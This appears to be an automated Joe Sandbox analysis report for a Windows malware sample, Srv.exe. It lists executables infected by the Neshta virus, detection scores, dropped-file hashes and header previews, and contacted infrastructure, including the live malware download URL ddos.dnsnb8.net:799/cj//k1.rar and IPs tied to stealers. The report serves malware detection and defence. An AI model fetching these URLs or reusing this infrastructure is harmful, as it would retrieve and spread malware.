C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	94%	ReversingLabs	Win32.Virus.Neshta
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Uninstall.exe	97%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	100%	ReversingLabs	Win32.Virus.Neshuta

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ddos.dnsnb8.net	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ddos.dnsnb8.net:799/cj//k1.raros	100%	Avira URL Cloud	malware
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar%p	100%	Avira URL Cloud	malware
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.Service	0%	Avira URL Cloud	safe
http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjectsItemsSortKeyArrayOfR	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net/	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	Avira URL Cloud	malware
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.Service	0%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar%p	11%	Virustotal		Browse
http://%s/r/rlidVBASelfCert?clid=%d1.3.6.1.5.5.7.3.32.5.29.372.5.29.11.2.840.113549.1.1.5SelfSignedC	0%	Avira URL Cloud	safe
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjects	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false		high
ddos.dnsnb8.net	44.221.84.105	true	false	8%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/IRoamingSettingsService/WriteSettings	officeappguardwin32.exe.7.dr	false		high
http://ddos.dnsnb8.net:799/cj//k1.rar%p	uvkTKBif.exe, 00000002.00000002.3311455745.000000000289A000.00000004.00000010.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://mozilla.org0/	Uninstall.exe.0.dr	false		high
http://ddos.dnsnb8.net:799/cj//k1.raros	uvkTKBif.exe, 00000002.00000002.3310982399.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.Service	officeappguardwin32.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/DataSet1.xsd	SPREADSHEETCOMPARE.EXE.7.dr	false		high
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	uvkTKBif.exe, 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmp, uvkTKBif.exe, 00000002.00000003.2043995962.00000000007F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	officeappguardwin32.exe.7.dr	false		high
http://upx.sf.net	Amcache.hve.22.dr	false		high
http://tempuri.org/IRoamingSettingsService/DisableUserResponse	officeappguardwin32.exe.7.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	#U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000002.2836301122.0000000000190000.00000004.00000010.00020000.00000000.sdmp, Uninstall.exe.7.dr, Uninstall.exe.0.dr	false		high
http://www.autoitscript.com/autoit3/	Aut2exe.exe.7.dr	false		high
https://www.autoitscript.com/autoit3/	Aut2exe.exe.7.dr	false		high
http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm	OcPubMgr.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/IRoamingSettingsService/WriteSettingsResponse	officeappguardwin32.exe.7.dr	false		high
http://tempuri.org/IRoamingSettingsService/ReadSettings	officeappguardwin32.exe.7.dr	false		high
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjectsItemsSortKeyArrayOfR	officeappguardwin32.exe.7.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	pwahelper.exe.7.dr, identity_helper.exe.0.dr, pwahelper.exe0.7.dr	false		high
http://tempuri.org/IRoamingSettingsService/GetConfig	officeappguardwin32.exe.7.dr	false		high
http://tempuri.org/IRoamingSettingsService/GetConfigResponse	officeappguardwin32.exe.7.dr	false		high
http://tempuri.org/IRoamingSettingsService/WriteSettingshttp://tempuri.org/IRoamingSettingsService/R	officeappguardwin32.exe.7.dr	false		high
http://ddos.dnsnb8.net/	uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://tempuri.org/IRoamingSettingsService/DisableUser	officeappguardwin32.exe.7.dr	false		high
http://ddos.dnsnb8.net:799/cj//k1.rar	uvkTKBif.exe, 00000002.00000002.3310982399.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://%s/r/rlidVBASelfCert?clid=%d1.3.6.1.5.5.7.3.32.5.29.372.5.29.11.2.840.113549.1.1.5SelfSignedC	SELFCERT.EXE.7.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/IRoamingSettingsService/ReadSettingsResponse	officeappguardwin32.exe.7.dr	false		high
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	integrator.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/8	Aut2exe.exe.7.dr	false		high
http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjects	officeappguardwin32.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/IRoamingSettingsService/EnableUser	officeappguardwin32.exe.7.dr	false		high
http://tempuri.org/IRoamingSettingsService/EnableUserResponse	officeappguardwin32.exe.7.dr	false		high
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	pwahelper.exe.7.dr, identity_helper.exe.0.dr, pwahelper.exe0.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558247
Start date and time:	2024-11-19 09:05:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U65b0#U7248#U7f51#U5173Srv.exe renamed because original name is a hash value
Original Sample Name:	Srv.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@53/262@9/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 51 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.89.167, 2.23.209.177, 2.23.209.180, 2.23.209.181, 2.23.209.171, 2.23.209.175, 2.23.209.179, 2.23.209.167, 2.23.209.173, 2.23.209.168, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.186.174, 204.79.197.200, 142.250.185.206
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, e86303.dscx.akamaiedge.net, clients2.google.com, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, l-0007.l-msedge.net, ieonline.microsoft.com, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, edge.microsoft.com, any.edge.bing.com, l-0007.config.skype.com, go.microsoft.com.edgekey.net, clients.l.google.com, dual-a-0036.a-msedge.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
239.255.255.250	https://192381.clicks.goto-9.net/track/click?u=3634028&p=3139323338313a323a323a303a303a30&s=9805e720a8572b6bbbb06f2979714af5&m=5819	Get hash	malicious	Unknown	Browse
	https://blacksaltys.com	Get hash	malicious	Unknown	Browse
	https://packedbrick.com	Get hash	malicious	Unknown	Browse
	https://recociese.za.com/wpcones/excel.html	Get hash	malicious	Unknown	Browse
	https://sp792669.sitebeat.crazydomains.com	Get hash	malicious	Unknown	Browse
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse
	https://gmailnliz19.ebtrk3.com/openurl?lid=5808098873966592&nid=4863316211269632&c=&s=&ci=&e_id=	Get hash	malicious	Unknown	Browse
	https://fixedzip.oss-ap-southeast-5.aliyuncs.com/replace.txt	Get hash	malicious	Unknown	Browse
	http://178.215.224.252/v10/ukyh.php	Get hash	malicious	Unknown	Browse
	http://185.147.124.40/Capcha.html	Get hash	malicious	Unknown	Browse
44.221.84.105	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/of
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/sdgvcmfo
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	gahyhiz.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	gadyciz.com/login.php
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	gahyhiz.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	gadyciz.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ddos.dnsnb8.net	gE4NVCZDRk.exe	Get hash	malicious	Bdaejec, RunningRAT	Browse	44.221.84.105
	ib.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	SecuriteInfo.com.Win32.Malware-gen.17468.9520.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	1hdqYXYJkr.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(193).exe	Get hash	malicious	Bdaejec, Stealc	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(212).exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse	44.221.84.105
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.81.208
	https://gmailnliz19.ebtrk3.com/openurl?lid=5808098873966592&nid=4863316211269632&c=&s=&ci=&e_id=	Get hash	malicious	Unknown	Browse	104.21.92.214
	Swift copy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.188.199
	https://fixedzip.oss-ap-southeast-5.aliyuncs.com/replace.txt	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.188.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.81.208
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.81.208
	https://gmailnliz19.ebtrk3.com/openurl?lid=5808098873966592&nid=4863316211269632&c=&s=&ci=&e_id=	Get hash	malicious	Unknown	Browse	104.21.92.214
	Swift copy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.188.199
	https://fixedzip.oss-ap-southeast-5.aliyuncs.com/replace.txt	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.188.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.81.208
AMAZON-AESUS	owari.mips.elf	Get hash	malicious	Unknown	Browse	44.194.145.154
	owari.sh4.elf	Get hash	malicious	Unknown	Browse	34.234.216.71
	owari.mpsl.elf	Get hash	malicious	Unknown	Browse	54.139.242.167
	owari.x86.elf	Get hash	malicious	Unknown	Browse	18.232.119.218
	mips.elf	Get hash	malicious	Mirai	Browse	54.10.208.229
	https://uymtnxoiutrbebdxcfngvhbjnklijuygtfbrdxevfcgvhbjn.b-cdn.net/updatinggeneral004/index.html?b=Y3VzdG9tZXJzZXJ2aWNldGVhbUB3YWl0cm9zZS5jby51aw==	Get hash	malicious	Unknown	Browse	54.221.78.146
	https://uymtnxoiutrbebdxcfngvhbjnklijuygtfbrdxevfcgvhbjn.b-cdn.net/updatinggeneral004/index.html?b=Y3VzdG9tZXJzZXJ2aWNldGVhbUB3YWl0cm9zZS5jby51aw==	Get hash	malicious	Unknown	Browse	54.221.78.146
	phish_alert_sp1_1.0.0.0(1).eml	Get hash	malicious	KnowBe4	Browse	3.221.71.218
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	52.6.56.188
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	3.5.8.191

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\AutoIt3\Au3Info.exe	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse
	svchost.exe	Get hash	malicious	Neshta, XWorm	Browse
	Botkiller.exe	Get hash	malicious	Neshta, Njrat	Browse
	dump.exe	Get hash	malicious	Neshta	Browse
	ORDER_SL.EXE.exe	Get hash	malicious	AgentTesla, Neshta	Browse
	Build.exe	Get hash	malicious	DBatLoader, Neshta	Browse
	F.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse
	x.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse
	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	317032
Entropy (8bit):	6.278820844715542
Encrypted:	false
SSDEEP:	3072:zr8WDrCoP5KVkD8QC2mCBFv9m7usyT8tKQ9clyPqlO91/iDVSsWUG0bCP0BwOvO9:Puo4VQjVsxyItKQNhigibKCZu
MD5:	0D2813B412DFC381FF2FF8AE35AFBEC3
SHA1:	DC29CD8FC69EDDFDA98FE67B6103EC23EF137888
SHA-256:	9DA09CF18EACF9E99235F4754C9B66C45B74EBC1749D1CEDB80E495DD89C1912
SHA-512:	7619BBAC7D5043109B82A1806414DE9DC162C6C430A9EE23C136627BA2130BEC6930ACB4E613FEA425A22BA48C0E811E98B69C26E041F4337664E27A4BE674E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217704
Entropy (8bit):	6.601006983838455
Encrypted:	false
SSDEEP:	3072:zr8WDrC7xFVaK4T6fWSlXe0lJQafeyrR0kr/yh5DEU/Pk13TfwqiTP0McBUNnUxW:PuV2K4TSFo5Y683TdiQMcGNUl4N
MD5:	633E57697FE20B13A19E565EFB15550B
SHA1:	4D789F99FD6D9E3024E2E1A35922E875E5F3F113
SHA-256:	55075BDACF914AF03AD6CD417AFFC3A604A73AFD3D06A2256A1835CBF0F39B5E
SHA-512:	8C49A2C57A51C209E1B032C554AB2251F3DB6FA8FE0609B9EFE9A60412C9018A90B22F61D9027895432FC3615DB54A25DCD55CF5210BFAD7C73B3CF5906A15DB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: OXrZ6fj4Hq.exe, Detection: malicious, Browse Filename: svchost.exe, Detection: malicious, Browse Filename: Botkiller.exe, Detection: malicious, Browse Filename: dump.exe, Detection: malicious, Browse Filename: ORDER_SL.EXE.exe, Detection: malicious, Browse Filename: Build.exe, Detection: malicious, Browse Filename: F.exe, Detection: malicious, Browse Filename: x.exe, Detection: malicious, Browse Filename: java_update.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237160
Entropy (8bit):	6.436536629191244
Encrypted:	false
SSDEEP:	3072:zr8WDrCIyRnuBGwl/1Gc9QnvGqyWQ93kr/yh5DEU/P5kP0zU35iuvQBUeGMLu:Pu7l3wdYtcH9b5Y651zU77Ea
MD5:	80D5957764641A059A246ACC3B876FD8
SHA1:	379F4A825CF3B9EA2CBF96D0AFAA6F5192BE25A0
SHA-256:	B904C8888CD019FAD590E1135E917D944BC16340757BC90DDD3511359766B8BB
SHA-512:	4FE0AECD7F5B44FA5AC52165C566EEE57145AAA2AF59FBB449B7629511C3A727F09E3A91082DE7845490329619C90CA4ACAF4094CFD7888A97B7FBE1F70A7EAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1675872
Entropy (8bit):	7.454506618256521
Encrypted:	false
